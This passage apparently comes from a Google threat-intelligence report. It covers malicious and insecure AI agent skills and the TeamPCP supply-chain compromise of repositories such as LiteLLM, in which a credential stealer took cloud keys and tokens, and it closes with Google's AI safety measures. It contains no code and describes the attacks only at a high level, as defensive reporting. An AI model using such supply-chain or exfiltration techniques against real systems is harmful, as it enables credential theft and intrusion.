Further, even if not inherently malicious, insecure packages could expose users to additional risks. Legitimate skills that fail to leverage secure practices when handling sensitive information, such as credentials or authentication information, could inadvertently expose this information to attackers. This could make this information susceptible to theft by techniques like prompt injection, other malicious skills, or traditional malware threats like infostealers.  

While the risk of malicious or insecure skills and agent components are not unique to the OpenClaw platform, the discovery of these packages highlights the growing attack surface among AI development platforms and the agentic ecosystem more broadly. Further, the difficulty in identifying and discerning malicious packages from legitimate skills presents significant challenges for defenders. Although this infection vector is opportunistic by nature, the ease by which these skills can be created and distributed could make it an attractive option for a myriad of threat actors seeking access to users’ systems.

To help mitigate these supply-chain risks, OpenClaw has partnered with VirusTotal to integrate automated security scanning directly into ClawHub, its public skill marketplace. Every skill published to the repository is now automatically analyzed using VirusTotal's Code Insight capability, which evaluates the package's actual code behavior to detect unauthorized network operations, malicious payloads, or unsafe embedded instructions. Based on this security-focused analysis, skills are either approved as benign, flagged with user warnings, or blocked entirely, providing an essential layer of defense against ecosystem abuse.

Compromised Code Packages

In late March 2026, the cyber crime threat actor "TeamPCP" (aka UNC6780) claimed responsibility for multiple supply chain compromises of popular GitHub repositories and associated GitHub Actions, including those associated with the Trivy vulnerability scanner, Checkmarx, LiteLLM, and BerriAI. Mandiant responded to numerous incident response engagements associated with this activity, highlighting the wide-impact nature of supply chain operations.

TeamPCP gained initial access through compromised PyPI packages and malicious pull requests to these GitHub repositories. The threat actor subsequently leveraged their access to these GitHub repositories to embed the SANDCLOCK credential stealer and extract high-value cloud secrets, such as AWS keys and GitHub tokens, directly from affected build environments. These stolen credentials were then monetized through partnerships with ransomware and data theft extortion groups.

The compromise of LiteLLM, an AI gateway utility for integrating multiple LLM providers is noteworthy. It highlights the expanding attack surface of AI platforms and the potential for impact across the software supply chain. Given the package's widespread use, this incident could lead to considerable exposure of AI API secrets from affected victims, which could be used to gain further access to systems for traditional intrusion operations. 

Moreover, similar attacks against AI-related dependencies could grant attackers access to unique AI systems, allowing them to conduct novel AI-centric attacks and leverage them in support of traditional intrusion operations. Attackers could leverage this vector not only to pivot to enterprise infrastructure for traditional financially motivated operations (e.g., data theft and ransomware) but also to directly facilitate their operations using AI systems. For example, threat actors with access to an organization’s AI systems could leverage internal models and tools to identify, collect, and exfiltrate sensitive information at scale or perform reconnaissance tasks to move deeper within a network. While the level of access and particular use depends heavily on the organization and the specific compromised dependency, this case study demonstrates the broadened landscape of software supply chain threats to AI systems.

Building AI Safely and Responsibly

We believe our approach to AI must be both bold and responsible. That means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. 

Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users, and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. These changes, which can be made to both our classifiers and at the model level, are essential to maintaining agility in our defenses and preventing further misuse.

Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities and creates new evaluation and training techniques to address misuse. In conjunction with this research, Google DeepMind has shared how they're actively deploying defenses in AI systems, along with measurement and monitoring tools, including a robust evaluation framework that can automatically red team an AI vulnerability to indirect prompt injection attacks. 

Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, red teaming to test and secure AI systems, and our comprehensive prompt injection approach.

Working closely with industry partners is crucial to building stronger protections for all of our users. To that end, we're fortunate to have strong collaborative partnerships with security experts via the Coalition for Secure AI (CoSAI) and numerous researchers. We appreciate the work of these researchers and others in the community to help us red team and refine our defenses.

Google also continuously invests in AI research, helping to ensure AI is built responsibly, and that we're leveraging its potential to automatically find risks. Last year, we introduced Big Sleep, an AI agent developed by Google DeepMind and Google Project Zero, that actively searches and finds unknown security vulnerabilities in software. Big Sleep has since found its first real-world security vulnerability and assisted in finding a vulnerability that was imminently going to be used by threat actors, which GTIG was able to cut off beforehand. We're also experimenting with AI to not only find vulnerabilities, but also patch them. We recently introduced CodeMender, an experimental AI-powered agent using the advanced reasoning capabilities of our Gemini models to automatically fix critical code vulnerabilities.

About the Authors

Google Threat Intelligence Group focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed actors, targeted zero-day exploits, coordinated IO, and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Appendix

MITRE ATLAS

MITRE ATT&CK